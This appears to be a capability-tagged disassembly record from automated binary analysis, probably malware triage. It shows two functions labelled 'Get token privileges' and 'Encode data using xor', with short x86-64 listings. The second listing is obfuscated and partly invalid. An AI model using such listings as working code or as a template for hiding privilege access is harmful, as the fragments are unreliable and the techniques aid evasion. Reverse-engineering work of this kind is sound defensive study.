Function at 0x1400a30d4
Capabilities:
Get token privileges

Disassembly:
push rdi
push 0x2f3df822
not word [rsp]

Function at 0x1400acd29
Capabilities:
Encode data using xor

Disassembly:
mov edi, dword [rsp + rdi - 0x560abe2d]
push qword [rsp + r13 - 0x7e2effec]
popfq
mov r13, qword [rsp + r13 - 0x7e2efff4]
lea rsp, [rsp + 0x20]
ret 8
and dl, al
or byte [rax], al
call fcn.1400790dc
loope 0x1400accf7
sub dword [rax + 0x3c], ebp
scasb al, byte [rdi]
loop 0x1400acd13
invalid